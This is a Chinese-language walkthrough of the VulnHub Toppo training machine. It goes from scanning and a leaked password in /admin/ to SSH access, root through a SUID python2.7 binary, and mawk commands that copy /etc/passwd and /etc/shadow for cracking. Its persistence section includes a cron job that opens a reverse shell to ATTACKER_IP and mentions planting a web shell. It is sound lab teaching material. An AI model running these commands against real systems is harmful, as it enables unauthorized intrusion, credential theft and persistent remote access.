渗透测试 | VulnHub-Toppo靶场实战
字数 1049 2025-08-15 21:30:34
VulnHub-Toppo靶场渗透测试实战教学文档
靶场概述
Toppo是Vulnhub上的一个初级难度渗透测试靶机,适合初学者练习渗透测试基础技能。本教学文档将详细讲解从信息收集到最终提权的完整渗透流程。
环境准备
靶机下载
测试工具
- Kali Linux系统
- 常用工具: netdiscover, arp-scan, nmap, dirb, hydra等
渗透测试流程
1. 信息收集
1.1 目标发现
使用以下工具发现目标IP:
netdiscover -r 192.168.88.0/24
arp-scan -l
1.2 端口扫描与服务识别
使用nmap扫描目标开放端口:
nmap -sV -p- 192.168.88.20
发现开放端口:
- 22 (SSH)
- 80 (HTTP)
- 111 (RPCbind)
2. Web应用测试
2.1 目录扫描
使用dirb进行目录扫描:
dirb http://192.168.88.20
扫描结果发现重要目录:
- /admin/ - 包含重要信息
2.2 手动检查
访问http://192.168.88.20/admin/发现一个txt文件,内容为:
Note to myself :I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .
关键信息:
- 可能的用户名: ted
- 可能的密码: 12345ted123
3. SSH暴力破解
使用获取的凭据尝试SSH登录:
ssh ted@192.168.88.20
输入密码12345ted123成功登录。
4. 权限提升
4.1 查找SUID权限文件
find / -perm -u=s -type f 2>/dev/null
发现/usr/bin/python2.7具有SUID权限。
4.2 利用Python提权
使用Python获取root shell:
python2.7 -c 'import os; os.system("/bin/bash")'
4.3 替代方法 - 使用awk提取密码文件
mawk 'BEGIN {system("cp /etc/passwd /home/ted/passwd")}'
mawk 'BEGIN {system("cp /etc/shadow /home/ted/shadow")}'
然后可以使用John the Ripper破解密码。
5. 权限维持
5.1 Web后门
在web目录放置webshell维持访问。
5.2 定时任务
添加定时计划任务维持权限:
(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'") | crontab -
关键注意事项
- 命令语法: 使用awk或python调用系统命令时,注意单引号和双引号的正确使用
- 文件权限: 使用awk复制的文件需要调整权限才能编辑
- 系统安全: 提权时避免直接修改系统关键文件(如passwd)
- 扫描优化: 目录扫描结果过多时可重定向到文件:
dirb http://192.168.88.20 >> scan_results.txt
总结
Toppo靶场展示了典型的渗透测试流程:
- 信息收集发现目标
- Web应用测试发现敏感信息
- 使用发现的凭据进行SSH登录
- 利用SUID程序提权
- 权限维持确保持续访问
这个靶场特别强调了信息收集的重要性,以及如何从看似无害的注释中发现关键凭据。